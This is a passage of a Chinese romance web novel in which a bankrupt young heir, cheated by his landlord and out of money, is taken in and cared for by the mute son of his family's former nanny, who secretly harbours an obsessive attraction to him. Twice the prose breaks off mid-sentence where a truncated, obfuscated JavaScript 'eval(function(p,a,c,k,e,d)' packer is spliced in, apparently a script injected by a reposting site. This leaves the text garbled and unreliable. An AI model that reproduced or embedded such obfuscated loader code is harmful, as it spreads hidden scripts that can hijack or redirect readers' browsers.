他也知道,是哪些人干的。 只是没想到,房东先生上来就让自己退租。 这屋子是老城区的老破小,距离中心城区偏远,放在以往,是应浔永远不会踏足的地方,更别提住进去。 但他现在情况特殊,京市寸土寸金,应浔从家里的大别墅搬出来四处找房子,才发现自己以前过得是怎样不食人间烟火的生活。 随便一套地段好的房子整租下来就要大几千甚至上万,中介知道他情况不太好,委婉劝他合租,租个单间就可以。 反正在京市生活的大多数打工人都是这样过的。 可应浔看了几间中介给他介绍的合租房,立刻就走开了。 那么小的居室,被隔成许多个小房间,屋子闭塞,什么人都有,还要和别人共用卫生间,就这样的,月租还要两三千,连阳台大小的隔断房都要一千多。 应浔手上的钱几乎都用在医院给妈妈治病了,妈妈一直昏迷不醒,过段时间要进行第二次手术,往后还不知道要花多少钱。 矜贵的少爷咬咬牙,最后搬去了中介给他找的一间老破小。 偏远,但至少一室一厅,有独立卫生间,不用和乱七八糟的人挤在一起,月租最后谈下来2200。 押一付三,还给中介支付了半个月租的中介费。 应浔不想退租,一来交了这么多的钱,才住了一个月不到。二来不想折腾,他想尽快安稳下来找兼职挣钱。 应浔从抽屉里翻出合同:“当时白纸黑字签好了,以一年为租期,你临时让我退租是违反合约规定。” “去去去,我这屋子都被砸成这样了,听说经常有追债的人找你,昨晚还来闹了一通,动静不小。”房东脸上露出不耐烦的神色。 “今天砸屋子,明天是不是要闹出人命了?总之,限你两天之内赶紧收拾收拾搬走,我不想租给你了。” 应浔看房东没有丝毫商量的余地,自己也理亏,只能答应从屋子里搬出去。 他没花多少时间就收拾好了自己的行李,曾经光衣服就要好几个衣帽间才能塞满的少爷,现在全部的家当只剩下一个行李箱。 他拎着行李箱暂时找了家宾馆住下,晚上收到房东退还的房租和押金。 “为什么只退了一千块钱?就算让我赔偿,不是还有两个月房租和违约金吗?” 应浔看到到账的一千块,不解,一个电话给房东打了过去。 电话很快被接通,房东掰着手指给他算被砸的屋子让自己损失了多少钱,这些都要从房租里扣。 七算八算,最后把两个月的租金都扣完了。 至于违约金。 “你仔细看合同,上面写的是如果你违约,要负责任,不退还押金。” 应浔翻出合约,在最后的页面找到一行小字,气不打一处来。 从小在优渥的环境里长大,金尊玉贵的少爷第一次遭遇这样的事情,不知道怎么应付这样的市井无赖。 偏偏给他介绍房子的中介知道后,也总是跟他打马虎眼,说这种情况他们也没办法,合同是应浔当时直接和房东签的,他作为中间人,管不了那么多。 应浔只感到火苗一阵一阵地往心头蹿,窝了一肚子火,却也只能吃下这个哑巴亏。 他把自己重重摔在宾馆的床上,感觉全世界都在和他作对。 第二天,应浔眼角湿湿地醒来。 顾不得遇到无赖房东的糟心事,迅速起床将自己收拾得清爽体面,有些泛红的眼角,拿凉水冲了冲。 他要重新找地方住,去医院看妈妈,找兼职。 大热的天气,明晃晃的太阳依旧挂在天空上,焦灼地炙烤人心。 应浔连跑了几天,始终没找到合适的工作。 他成绩不太好,考上的大学是专塞纨绔子弟的学校,没什么含金量,学的企业管理,还轮不到他管理自家公司,家里的公司就倒闭破产了。 不上不下,又娇生惯养,十指不沾阳春水,什么都不会,在险些被骗拍色情杂志,一脚踹飞摄像师的支架,从昏暗的楼道里跑出,应浔忽然感到很是茫然,还有深深的无力和疲惫。 这种无力和疲惫在他回去宾馆续费,提示手机里的钱不足以支付费用,银行卡余额只剩下42.4时,达到了顶峰。 怎么只剩下四十二块四毛钱了? 应浔慌忙打开银行账号,翻来覆去地查看余额上的数字,还有账单明细,看到除了前几天支付给护工阿姨的一笔护工费,医院那边又支出了一大笔费用。 还有各种生活费,这几天住宾馆的费用,等等乱七八糟的。 应浔双目发直地盯着这串42.4余额的数字。 真好,都是偶数。 像是知道他有偶数强迫症一样,银行卡的余额竟然这么贴心。 可是,要真这么贴心,小数点能不能后移一位? 偶数加对称,对于审美规整严格的他来说看起来更加舒心。 应浔忽然气得想笑。 他拎着行李箱走出宾馆。 天空中的月亮相比于前几日变得越来越圆,马上要月中了,周围的高楼里亮起了一盏又一盏的灯。 星星点点的灯光浮在夜幕里,应浔拖着硕大的行李箱,望着眼前的万千灯火,无力和疲惫拽着心脏沉甸甸地往下坠。 他漫无目的地走在街道上,突然不知道何去何从。 为什么那么疼爱他的爸爸要出轨,要掏空他们曾经那么温暖的家,还人间蒸发一般,怎么都找不到? 为什么妈妈到现在还没有醒来?她那么美好温婉的人,为什么要遭遇最爱的人的背叛? 为什么他19岁的夏天要过得这么糟糕。 应浔逐渐红了眼圈,忿忿踢了一脚行李箱。 咕噜咕噜,前方是一个小斜坡,他不过生气随意泄愤踢了一脚,行李箱就开始顺着斜坡往下滑。 应浔连忙追过去,可是这道斜坡有点长,箱子一下子滑出很远,他一时没能追上。 好不容易追到,他被绊了一脚,整个人重重绊倒在地,扭了脚脖子,白皙膝盖也蹭破了皮,往外渗出猩红的血迹。 空气闷热,地面升腾着未散的暑气。 有晚上出来纳凉散步的人听到动静,投来好奇的目光。 应浔没去理会那些人的视线,只望着同样摔在地面上的自己的行李箱,锁扣被撞坏,箱子崩裂了一大道口子。 里面的衣服、日用品,他仅剩的东西,乱七八糟地散落出来,铺在地面上,凌乱不堪,像摊在自己面前这糟糕的人生。 应浔终于忍不住崩溃地哭出来。 从家里破产,父亲失踪,到母亲重症住进医院昏迷不醒,应浔再难熬也没掉过一滴眼泪。 可现在,仿佛压死骆驼的最后一根稻草。 曾经骄矜高傲的少爷,在闷热夏夜一条斜斜的人行道旁,坐在破散的行李箱前绷不住地大哭。 不知道哭了多久,眼睛发胀发疼,鼻头也酸酸的,一抽一噎。 一张柔软的纸巾递到眼前。 应浔抬起头,透过哭得泪眼模糊的视线看过去,就看到小哑巴屈膝蹲在自己面前,一脸担忧关切地看着自己。 又是小哑巴。 他怎么又在自己狼狈的时候出现? 应浔心里崩溃着,再一次被自己最不想见到的人看到自己不堪的一面。 这段时间压抑在心头的委屈和苦楚,外加三年前的不告而别,所有的情绪积攒在一起,爆发似的。 应浔成了一只炸了毛的猫。 “怎么,你满意了吧?看到我现在这么惨。对,没错,我家里破产了,我现在变得一无所有,今晚连住的地方都没有着落,卡里就剩下四十二块四毛钱了。” “你看到我现在的样子是不是很爽?以前我总欺负你,把你当狗一样使唤,还真让你扮过我的狗,骑在你身上。还因为我,被传偷男生衣服闻的变态,你是不是一直记恨我?现在终于找到机会报仇了?” “说话啊,周祁桉,这么大的城市你在我最落魄的时候遇到我两次,是不是故意的,想看我笑话?” “你说话啊!” 骂了半天,面前的人一点反应都没有,只沉默着任自己宣泄。 应浔这才想起来,周祁桉是个哑巴,不会说话。 他哽了哽,望向眼前一双黑漆漆的眼,大多数时候看人冷漠怪异,仿佛在窥探一个幽深无底的黑洞。 此刻却垂敛着眼,一眨不眨地担忧地望着自己。 还很无辜的样子,蹿出很大只的个头蹲在自己面前,像受了训不敢反驳的大狗狗。 应浔忽然没了气,一拳打在棉花上。 小哑巴一张无辜的脸让应浔意识到自己在向一个无辜的人宣泄怨气。 他欺负一个哑巴做什么? 应浔抽了抽鼻子,觉得自己很是无理取闹。 也恍然意识到坐在路边崩溃大哭的自己有多丢脸。 没去接小哑巴递过来的纸巾,应浔站起身,身子一歪,险些又栽倒。 他忘了自己的脚脖子刚才扭了,膝盖也被擦伤。 [浔哥,你心情好受点了没有?] 小哑巴伸手扶住他,又迅速放开手,丝毫不在意刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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[所以,浔哥,不如你先去我那里住,我那里虽然比不上你以前住的地方,但收拾得还算干净,你当是临时租住也好,当我报答当年你们一家人收留我和妈妈,总之可以先住在我家。 那些催债的人也不会轻易找上门,就算找到,有我在,不会再让他们欺负你。] 小哑巴言语间无比恳切,一字一句充满诚意,打完字看向自己的眼睛也很真诚。 应浔有点被说动。 尤其是那晚他见识过小哑巴的战斗力,虽然从来没有见过小哑巴这样阴鸷狠戾的一面,也不知道他什么时候学的这么会打架。 可是,晕倒在小哑巴怀里的那一刻,应浔不知道为什么觉得很安心,紧绷的神经也一瞬放松。 他白皙漂亮的脸上露出纠结的神色,眉头也别扭地拧作一团。 他以前对小哑巴那么差劲,刚才还冲他发火,把一通怨气和委屈全都宣泄在了小哑巴身上,怎么好意思借住到小哑巴那里? 而不等他绞尽脑汁地找合理的理由拒绝,应浔看到小哑巴已经弯下身,帮自己收拾起从行李箱里散落出来的衣物。 像以往每一次帮自己整理物品一样。 小哑巴动作利落细致,不仅快速地将自己的行李箱整理好,每一件衣物都完全按照自己喜好和癖性放在让自己舒心和顺眼的位置,丝毫不错。 归置好衣物,他转身去了旁边的便利店,和老板不知道交涉了什么,拿回来几根绳子,结实的手臂七绕八绕,把锁扣坏掉崩开的行李箱紧紧绑住。 做完这一切,小哑巴在自己面前背对着蹲下身。 应浔不明所以。 “你干吗?” 周祁桉转过头,粗粝手指拍了下自己的背,比划:[上来,浔哥,你脚扭伤了,走不了路,我背你回去。] 应浔愣了一秒,别扭道:“我有说要跟你回家吗?” 小哑巴却不再比划什么,只转回身,就这样蹲在他面前,大有自己不跟他回去,就一直这样守在自己面前的架势。 他个子高,体格大。 以前瘦瘦巴巴的男孩,不知道怎么长出这么悍厉的体魄,在自己面前一蹲,大型犬一样,极为惹眼。 刚才在路边崩溃大哭,早已吸引了不少人好奇的目光,现在又被一个相貌帅气,身躯高大的男生蹲在自己面前,更有奇怪的视线频频投过来。 应浔的脸颊一点一点发热,望着眼前挺括的肩背,在越来越多的人看过来时,想到小哑巴刚才说的有可能有蟑螂的旅馆,最后硬着头皮趴了上去。 5. 骄矜美人破产第五天 晚风轻拂,吹动人行道旁的树丛飒飒作响。 不远处传来广场舞的声音,周围高楼里灯火浮在夜幕中,像星星一般,一眨一眨地注视着街道上的人影。 应浔趴在周祁桉的背上,被一只有力的臂膀托着屁股。 鼻尖萦绕着少年清爽干净的洗发水的味道,他闻出是曾经自己家里用过的一款,忘了什么品牌。 就觉得这味道熟悉,还有背着他的这个人。 应浔心里有一种说不出的感觉,不久前他还宣告以后再也不想见到小哑巴,刚才还冲他大肆宣泄。 现在却又趴在小哑巴身上,跟小哑巴回家。 两人就这样静静地走在夏风轻拂的小路上。 周祁桉一手托着他,一手拎着他紧紧捆绑着绳子的大只行李箱。 一切好像变了,又好像什么都没变。 不知走了多久,穿过多少条街道,在应浔哭得有些累,眼皮不知不觉有些耷拉,下巴磕到小哑巴的肩窝,昏昏欲睡。 他感到吹在耳畔的风变得轻缓,脚步声突然停了。 应浔一个激灵,从昏昏欲睡中转醒,忘了自己被人背着,仰起身。 下一秒,感到背后的腾空,吓得一把搂住了眼前的脖颈。 温热的气息卷进颈窝,蒙了一层月辉的白得晃眼的胳膊勾着脖子。 周祁桉下巴卡在细软滑腻的皮肤上,贴着温热,感受到被勒住的脖子传来一阵浅浅的紧.窒感,仿佛闻到熟悉的皮肉.体香。 [浔哥,到了。] 周祁桉呼吸一瞬错乱,黑眸闪过幽深,轻轻拍了拍勾住他的白皙手背。 应浔恢复清醒,松开手臂,从结实挺括的肩背上下来。 “不是说你家住的不远吗?怎么走了这么久?” 应浔抱怨,揉揉眼,看一眼手机上的时间。 “早知道要让你背着我走一个小时,直接打车了。” 他的四十二块四毛钱应该够付车费。 周祁桉露出一个温和耿直的笑:[不远,浔哥,这点路程对我来说不算什么,就当锻炼身体了。] 应浔:“……” 没去深究小哑巴奇怪的脑回路,应浔打量起眼前的景象。 小哑巴住的地方也是一个老小区,但和他那个偏远小巷的老破小比起来,算“高档”小区了。 至少单元楼整齐划一,布置规整,有门卫和安保。 从楼道右侧的方向看过去,还有个郁郁葱葱的漂亮小花园和泛着浅浅银亮月色的水池。 环境安逸,幽静,没那么吵闹。 就是没有电梯。 这个小区的楼高最高只有六层。 于是,小哑巴先是把自己从陌生的街道旁捡起,走了一个小时背回来,又哼哧哼哧爬了六层楼梯把自己从一楼背上他住在顶层的家。 然后再跑下来拎自己的行李箱。 应浔觉得自己又在欺负小哑巴了。 他被小哑巴背进门,轻轻放置在沙发上。 [浔哥,你先坐一会儿,我去给你倒杯水喝。] 应浔不自在地坐在沙发上,看小哑巴快步走去了厨房,高大的身影忙前忙后。 他视线在这道身影上呆呆凝视了几秒,随后移开,看向屋子别处。 这是个二居室,目测有六七十平左右。 不大,看起来和自己曾经住的大别墅没法比,连应浔的衣帽间大都没有,可是被小哑巴收拾的干净、整洁。 屋子里的门框和窗沿都是看着十分舒心清新的薄荷绿,一扇小窗和房门隔出一处满是绿植的阳台。 案几,桌子,置物柜是老式那种,原木风,擦得光亮。 各种生活用品整齐有序地摆放在各自的位置,生活痕迹满满,却又井然有序,让人十分舒心。 这种感觉有些微妙。 应浔的记忆里,从第一眼见到小哑巴,小哑巴就一直住在自己家。 五年的生活,除了周末偶尔跟他妈妈回去,他们大部分的时光都在同一个屋檐下,几乎没有分开过。 在这之前,除了小哑巴的保姆房,应浔没有看到过周祁桉别的生活空间。 即便得知小哑巴转学,他找去小哑巴的家,也只隔着紧闭的木门,透过爬了满墙爬墙虎垂下的碧绿枝叶遮挡的窗棂,模糊看到里面空荡荡的境况。 这样看来,应浔对周祁桉好像一无所知。 所以这一刻,第一次进入小哑巴的家,在属于他的生活空间里,应浔有些恍然。 [浔哥,喝口水吧。] 在应浔心神恍惚时,小哑巴端了杯柠檬水到他的面前。 新切的柠檬片,加了点应浔喜欢的蜂蜜,用冰块捂过,所以解暑,又不过分冰凉,充分照顾到了应浔娇弱的肠胃。 应浔舌尖品尝到酸酸甜甜,凉滋滋的味道。 屋子陌生,第一次看到的小哑巴的生活空间陌生。 可是,这个完全掌握了自己所有喜好,连自己喝的水的温度都掌握得恰到好处的周祁桉却是和三年前一模一样。 应浔心绪纷杂,手指紧紧握着杯子。 却在这时,看小哑巴拎来一个工具箱,再次蹲到自己面前。 [浔哥,把裤腿撩起来,我帮你处理一下伤口。] 被小哑巴一路背回来,思绪全在自己从来没有见过的小哑巴的另一个生活空间,应浔都没有感觉到膝盖和脚脖子上的疼痛。 他恍然回神似的,放下手中的玻璃杯。 随后,纤长白皙的手指一点一点卷起裤腿,把膝盖擦伤了的腿伸到小哑巴面前。 伸过去,应浔就后悔了。 习惯了小哑巴的伺候,他的腿伸过去太自然,已经忘了自己不是那个高高在上,可以随意使唤人的少爷了。 “还是我自己来吧。” 应浔的脸上闪过一抹不自然的神色,试图抽回腿,让周祁桉把医用品给他,他自己处理伤口。 却被粗粝的手掌一把握住脚腕。 应浔有着一副漂亮匀称的骨架,用之前碰到的一个美术生学姐的话说,他身上没有一处不是按审美的最高标准长的,哪哪都好看。 脸漂亮,身形完美修长。 被从小金尊玉贵、养尊处优的优渥生活蕴养,让他一双腿都像泡在浓郁的牛奶里,白皙细腻地晃眼。 周祁桉即便心里有过预设,可是当手心握住这截细滑的脚腕,看到柔和灯晕下白玉一样的肌肤,心脏还是不可控地跳动了下。 那天在诊所门口残留在掌心里的令人眷恋的触感,也从记忆的毛孔里迸发。 他强迫自己移开视线,克制好不容易被他压抑住的欲望撩起的火苗一般舔舐上眼前白皙的脚踝。 [浔哥,可能有点疼,你忍一忍。] 周祁桉拿出医用酒精和碘伏,在征得应浔的同意后,开始用无菌棉签小心地帮他清理膝盖上擦破皮的伤口。 他动作轻缓,细致温柔。 应浔揪着自己的裤腿,低头望着眼前这一幕。 其实,从被追债人来出租屋闹事的那天晚上偶遇周祁桉,到今天被他捡回家,重逢两次,应浔都没有好好看过周祁桉这张脸。 他的注意力总是在小哑巴怎么长得这么高,给人很强压迫感的身躯上。 尤其是覆着厚厚粗茧和丑陋疤痕的手,忘了周祁桉其实有着一张很帅气好看的脸,高中的时候也有女孩给他送过情书。 如果不是不会说话,是人尽皆知的保姆的儿子,是应浔随叫随到的狗腿,他或许在学校更受欢迎,毕竟周祁桉成绩很好,每次考试都是第一,老师们很喜欢他。 三年未见,小哑巴的脸褪去了过往的稚嫩和青涩,轮廓变得凌厉,有成年人的成熟和俊逸了。 可仍残留着少年气,混合了少年和成年的模样。 此刻,他屈膝蹲在自己面前,一条腿屈起,另一条半跪在地上。 从应浔的视角看不清他的表情,只能看到他垂敛的眼眸,很黑很深,神情大约是专注的。 应浔怕疼。 身体也是敏感易留痕迹的体质,小时候随便磕一下碰一下都能哼哼唧唧很久,最怕的就是去医院打针。 可小哑巴的动作太温柔了,帮他处理整个伤口的过程,应浔都没觉得有任何难以忍受的不适。 男生细致入微地帮自己清理好伤口,往膝盖上缠了层布纱。 随后,又帮自己敷了敷扭得红肿的脚脖子。 “对了,怎么没看到周阿姨,是做工还没有回家吗?” 应浔被小哑巴细心伺候着,视线有些无处安放,无意间瞥到墙上挂钟上的时间,突然想到什么。 问完,看小哑巴脸上的神色迅速黯淡。 周祁桉默默将医药工具收好,抬起眸,向他比划手语:[妈妈两年前就过世了,胰腺癌,查到已经晚期了,没能抢救过来。] 应浔一怔。 过世了? 那么温和善良,悉心照顾妈妈,会给应浔做各种符合他口味的好吃的周阿姨两年前过世了? 应浔心脏迅速往下坠了一下,像是被什么揪扯住,有种窒息难受的闷疼。 或许和这段时间遭遇的天翻地覆的事情有关,也或许在应浔心里,他早就把小哑巴母子俩当作了自己的家人。 五年的朝夕相处,同一张饭桌吃饭,同一个屋檐下生活。 “对不起。” 应浔脸上露出深深沉痛和懊悔的表情。 “我不该提这件事,还有三年前,我姑姑冤枉周阿姨,当时很不愉快……” 周祁桉安慰笑了笑:[浔哥,不关你的事,你不用说对不起,而且误会最后不是解开了吗?事情都已经过去了。] [至于妈妈。] 周祁桉的眼眸一瞬间变得晦暗,蒙上一层应浔看不懂的缥缈和幽远,像雾一般。 [她在另一个世界也很好,不用感知痛苦,她在那里是自由的。] 应浔愣了愣,以为自己理解错了小哑巴的手语。 不过转瞬想到,癌症患者,尤其是最凶险的胰腺癌,晚期令人痛不欲生,或许对周阿姨来说确实是一种解脱。 他们两人后来谁也没再提过往的事情。 小哑巴帮自己处理完伤口,就进厨房给自己煮了顿晚饭。 很简单可口的汤面,卧了个糖心荷包蛋,还有几片营养的蔬菜叶。 应浔的胃最近需要调养,吃不了很重口的东西,这清清爽爽的汤面正符合他的胃口。 吃完,小哑巴又开始收拾房间。 “我晚上睡这里吗?” 应浔指着一看就是周祁桉卧室的床,看他往上面铺新的床单和被罩,那床单和被罩的面料看上去很柔软舒适。 周祁桉点头。 应浔又问:“那你睡哪里?” 这间屋子只有两个房间,刚才应浔略略打量的时候,看到另一个紧闭的房门,目测不是很大,有可能是杂物间。 周祁桉比手语:[今晚我睡沙发,明天会把另一个房间收拾出来睡那里。] 应浔没再说话,打算最多打扰小哑巴两天挣到钱了就离开。 他去卫生间洗了澡,尽量避开腿上的伤口,随后拖着敷过之后缓和很多的脚上了小哑巴的床。 果然是很舒适的面料,床单、被罩还有新换的枕套质感和触感冰凉丝滑。 应浔从小吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“对不起,周祁桉,我不该欺负你,不该让你被骂偷男生衣服闻的变态。” “我帮你教训他们了,你不要转学……” 沉睡中的应浔睡得很不安稳,一直不停地说梦话,眼眶也逐渐湿润,纤密的睫毛再次沾了水珠。 周祁桉听着他口中的呓语,神色复杂地望着陷入梦魇中的人,拿纸巾轻轻抹去他湿润眼角的泪花。 随后守在床前,直到这场梦魇过去,睡梦中的人开始呼出细匀的呼吸声,睫毛不再不安颤动。 周祁桉转身关上房门,去浴室冲了个凉水澡。 冲完,看到衣篓里堆叠的浔少爷换下来的衣服。 周祁桉停住脚步,漆黑无机质的眼眸凝上衣篓,耳边回响起刚才那声向他说对不起的呓语。 那个游泳课的下午,日光很好。 立了秋,但暑气未消,头顶上的太阳依旧灼烈夺目。 大朵大朵的白云飘逸上空。 和往常一样,周祁桉接住浔少爷丢给他的校服,工工整整地叠好,准备放进衣柜。 却在这时,抬头看到从更衣室离开的纤长漂亮的身影。 光尘舞动,阳光穿过窗户斜斜照射进来。 那道身影像空明月夜下的花影疏枝,晃得人移不开眼。 还有萦绕在鼻尖淡淡的香气,从他手心捧着的白色衬衫上幽幽传来,不知道是洗衣剂的味道,还是浔少爷身上的体香。 周祁桉一直觉得浔少爷身上香香的,他们小时候玩“主人和狗”的游戏时,浔少爷有时候会抱他,把白皙软嫩的脸往他身上蹭。 身上就有一股好闻的香气。 周祁桉总想,怎么会有男生身上这么好闻? 这种困惑萦绕在他脑海里好多年。 到这一刻,鬼使神差地,周祁桉眼前浮动着斜斜光束下那道漂亮的身影。 他捧起衬衫,放到鼻间,想要嗅闻这道气息从何而来。 却被随之而来的叫嚷声和挥过来的拳头窥破他阴暗的心思。 画面一转,周祁桉望着衣篓里的衣服。 仿佛那个下午捧在自己手心的那件白衬衫。 他努力了很久才忘却,深深藏在心底的人就睡在一墙之隔自己的卧室里。 和那晚在诊所不同,这是周祁桉的空间。 浔少爷睡的那张床是也自己平日里睡过的。 三年过去,他还是那么昳丽,漂亮,惹眼,像夜空中的皎月,又像不可逼视的灼目太阳。 连骂自己,挑着眼梢瞪自己一眼,都让周祁桉心跳加速,血液沸腾。 压抑三年的情感在刚才那张破碎的睡颜和不安的呓语中,正试图从心底的牢笼挣脱,幽邃洞底的藤蔓一般叫嚣着冲破桎梏。 周祁桉重新拿起淋浴喷头,往身上猛浇冷水。 但或许是埋藏太久,压抑太久,怎么也抑制不住身体的欲望和内心的喧嚣。 尤其是从云端跌落的少爷,掉进黑夜里潜伏的猛兽设下的陷阱一样,在隔壁的房间袒露着雪白脆弱的脖颈。 周祁桉深呼吸一口气,拾起衣篓里一件上衣。 淅沥淅沥冰凉的水珠从头顶一寸一寸浇下,他仰起头,将这件染了皮肉.体香的布料蒙到脸上,顶到鼻尖。 水珠顺着喉结往下滑动,蜿蜒至腹肌和背部一道道狰狞可怖的伤痕。 他深深嗅闻那个下午被打断的气息。 那群人骂他骂得没错,打他打得也没错。 周祁桉就是个变态,是个从15岁那年起就肖想自己伺候的少爷的变态。 6. 骄矜美人破产第六天 第二天清晨,应浔从舒适的床上醒来,迷蒙地睁开眼。 好久没有睡过这么舒适,这么安稳的觉了。 窗外有清脆悦耳的鸟叫,光线穿透厚厚的窗帘给卧室蒙了层浅淡的光,应浔朦胧的双眼盯了陌生的天花板片刻,才想起自己现在在哪里,躺的是什么地方。 他竟然被曾经的狗腿捡回家了。 空调还在往室内吹着丝丝舒适的凉风,床头香薰燃尽。 应浔呆呆地在床上躺了一会儿,掀开柔软丝滑的薄被,爬起床,走出卧室。 出门,就闻到浓郁好闻的气息。 应浔循着香味的方向看过去,就看到周祁桉围着围裙,在洒了清亮日光的厨房里手持汤勺,在汤锅里搅拌什么。 似是听到动静,高大的男生转过身。 介于少年和成熟男人之间年轻帅气的脸上露出一个略带惊讶又十分温和的笑。 [浔哥,你醒了?] 小哑巴放下汤勺,手在干净的擦手布上擦了擦,冲自己比划。 [怎么不多睡一会儿?] 应浔怔怔地望着他,感觉自己像在做一场虚幻的梦:“睡饱了,不想睡了。” [那你去刷牙洗脸,我包了玉米虾仁馅的包子,煮了你喜欢的豆腐汤,你洗漱完就可以直接过来吃饭了。] 应浔哦了一声,转身走进卫生间。 站在洗手台前,他望着两个一模一样浅蓝色陶瓷的洗漱杯,还有在旁边的萨摩耶支架上对称放置的两支一模一样的牙刷。 应浔摸不着头脑:“周祁桉,洗漱杯和牙刷怎么是一样的,我用哪一个?” 小哑巴立刻从厨房跑过来:[怕你犯强迫症,早上我去超市换了新的杯子,左边的是你的,右边的是我的。] 小哑巴比划着,拿起其中一只杯子,指了指杯子底下的座垫。 [如果你担心分不清,下面分别写了我们两个的名字,可以从名字上分辨。] 应浔看过去。 就见用来放置洗漱杯的杯垫的凹槽里,分别贴了两个便签。 左边写着应浔。 右边写着周祁桉。 是小哑巴自己手写的,字迹工整好看,标签名上贴了防水膜。 [不过你要是不喜欢这样,我也可以重新给你换一对,你两个一起用,我用别的。] 仿佛看到自己拧起的眉头,小哑巴慌忙补了句。 “算了,就这样吧,浪费钱。” 作为银行卡里只剩下四十二块四毛钱的落魄少爷,应浔没资格在别人家里挑剔别人。 他拿起左边的瓷杯,从萨摩耶狗狗支架上取出属于自己的那支牙刷。 等洗漱完走出卫生间,应浔发现除了洗漱用品,毛巾,拖鞋…… 仅仅一个晚上和一个早上过去,屋子里的许多东西都换成了偶数个的了。 比如沙发上的靠垫,置物柜上用来插花的花瓶。 墙上一模一样的挂画。 对了,那座挂在墙上的挂钟也挪了位置,正卡在头顶吊灯的正中央,两幅挂画中间的位置。 看上去十分合应浔的眼。 应浔:“……” 应浔在餐桌前坐下,看到连碗筷和杯碟都换了,纯色系,一样的碗两只,一样的筷子也两双。 不知道的还以为他们是情侣,在过情侣的同居生活,家里什么都是双双对对的。 “你早上去超市了?”应浔怪异地问了声。 小哑巴点头:[去了趟市场和超市,给家里置办点东西。] 应浔哦。 用筷子夹了只周祁桉摆盘摆得十分漂亮的虾仁水晶包,六个一装,还有蒸饺,果盘里剔籽去皮的草莓,以及其他弄得干干净净的水果。 应浔不知道小哑巴什么时候出的门,什么时候采购了这些物品,把家里很多东西都换了个遍。 现在才八点多钟,他还包了包子,蒸了蒸饺,煮蔬菜汤,给他削很麻烦的草莓。 “那个……谢谢你收留我,等我挣到钱就搬走。” [不用着急,浔哥。] 周祁桉冲他善意笑笑。 [反正我也是一个人,家里的屋子空着也是空着,你就安心住在这里,不要想太多。] 应浔听他说一个人,想到昨晚小哑巴说的周阿姨两年前患癌胰腺过世的事,眼眸一瞬暗淡,没再说什么。 吃完早饭,小哑巴又帮他处理了下伤口,重新换了层纱布。 处理完,周祁桉告诉应浔:[浔哥,我今天有点别的事情,等下要出一趟门。] 应浔见他一副报备的口吻,哦了声。 小哑巴:[你自己一个人在家可以吗?] 应浔无语,挑了挑眼梢:“你当我是三岁小孩吗?” 说完,察觉到自己的语气有些差。 应浔低头,手指无意识揪上小哑巴给自己腿上新换的布纱:“我是说……我这么大个人了,能照顾自己,你出门忙自己的事,不用管我。” 周祁桉笑笑,看他垂敛的眼睫,眸光波动在清早浅亮的阳光下,像潋滟在湖面上的碎金,看得人心动不已。 周祁桉拿手机给眼前人打字:[那我出门了,今天事情有点多,白天不一定能回来。] [如果我中午赶不回来,浔哥你就把冰箱里我早上给你提前做好的饭菜放到微波炉里热一热,你的胃最近需要调养,要按时吃饭。] [微波炉的使用方法,我给你贴在旁边了,你按照上面写的操作就行。] 小哑巴事无巨细地交代各种事项,一条一条列好写在一张纸上。 出个门而已,他却像是要奔赴前线,什么都不放心,事事都要和留守在家的“妻子”嘱托清楚。 周祁桉以后结婚一定是个唠叨的大爹。 怎么三年未见,小哑巴小小年纪就一把年纪了,这么啰嗦。 不是,最让应浔不可置信的难道不是小哑巴已经把他的午饭都做好了吗? 周祁桉这个早上到底做了多少事情? 在应浔心里犯嘀咕的时候,小哑巴终于出门了。 临走前给了自己一把新配的钥匙,还有一笔现金,让自己需要用的时候就拿去用。 应浔住小哑巴的,吃小哑巴的,已经很不好意思了,怎么还能再花他的钱? 他没去数小哑巴给他留的这一大叠现金有多少,把它们通通塞进了小哑巴床头柜的抽屉里。 墙上的老式挂钟发出滴答滴答的声音。 周祁桉离开后,屋子里就剩下了应浔一个人。 做梦一般,昨晚应浔还拖着硕大的行李箱流落街头,被家里变故和接二连三的糟心事弄得崩溃,不知何去何从。 今天他就住进了窗明几净,被小哑巴收拾得温馨舒适的屋子里,且屋子里所有的东西都被按照自己的喜好重新布置过。 应浔感到十分恍然,尤其是小哑巴从昨晚到今早细致入微的体贴举动,让他一瞬间仿佛回到了从前。 那个家里没有破产,他们还生活在南城,他被小哑巴伺候得舒舒服服,一家子和谐美好的从前。 可是,再也回不到过往了。 他的家支离破碎,周阿姨也过世了。 独自怅惘了一会儿,应浔就不敢再陷入悲伤的过往里。 昨晚已经哭过崩溃过,卡里就剩四十二块四毛钱了,妈妈还等着自己给她筹手术费和医药费,他也不能一直这样打扰小哑巴。 当务之急是要挣钱。 只是他的腿受着伤,另一只脚的脚脖子还扭着,出不了门。 应浔给医院的护工阿姨打了个电话,确认妈妈今日的情况后,就从破烂的行李箱里拿出自己还完好无损的笔记本电脑,打算看看网上有没有什么可以兼职的工作。 这段时间找工作屡屡受挫,还险些被骗去拍色情杂志,应浔对自己的情况有了基本的认知,终于知道自己几斤几两重了。 他不能再眼高手低,放不下少爷身段,只想找工资高又体面的工作。 在网上搜索有没有大学生暑期可以线上做的兼职。 很快,屏幕上就弹出很多信息。 应浔看到有网友支招:可以帮抢演唱会的门票,有很多那种代抢群,抢中三位数起,如果是流量明星开的演唱会,能有四位数。 这么多钱? 应浔看到四位数,从来都是有人把票主动送到手中,或是亲自发过来邀请函,安排的位置也是贵宾席位的少爷,连忙拿笔记下这条建议,打算整合完兼职信息后,就去找这位网友说的那种群。 接着,应浔又看到一条—— 出租游戏漂亮号,cp位,蹭国标。 应浔:? 这是什么? 游戏账号还可以出租吗?还有出租CP位,蹭国标,怎么单个看这些字能懂,凑在一起就不明白是什么意思了? 应浔一脑袋问号地往下翻着解释,很快得到答案。 所谓的出租游戏“漂亮号”,其实是把有各种珍稀、限定、漂亮皮肤以及各种游戏装备的账号出租给那些想玩,但自己又没有这些皮肤和装备的网友。 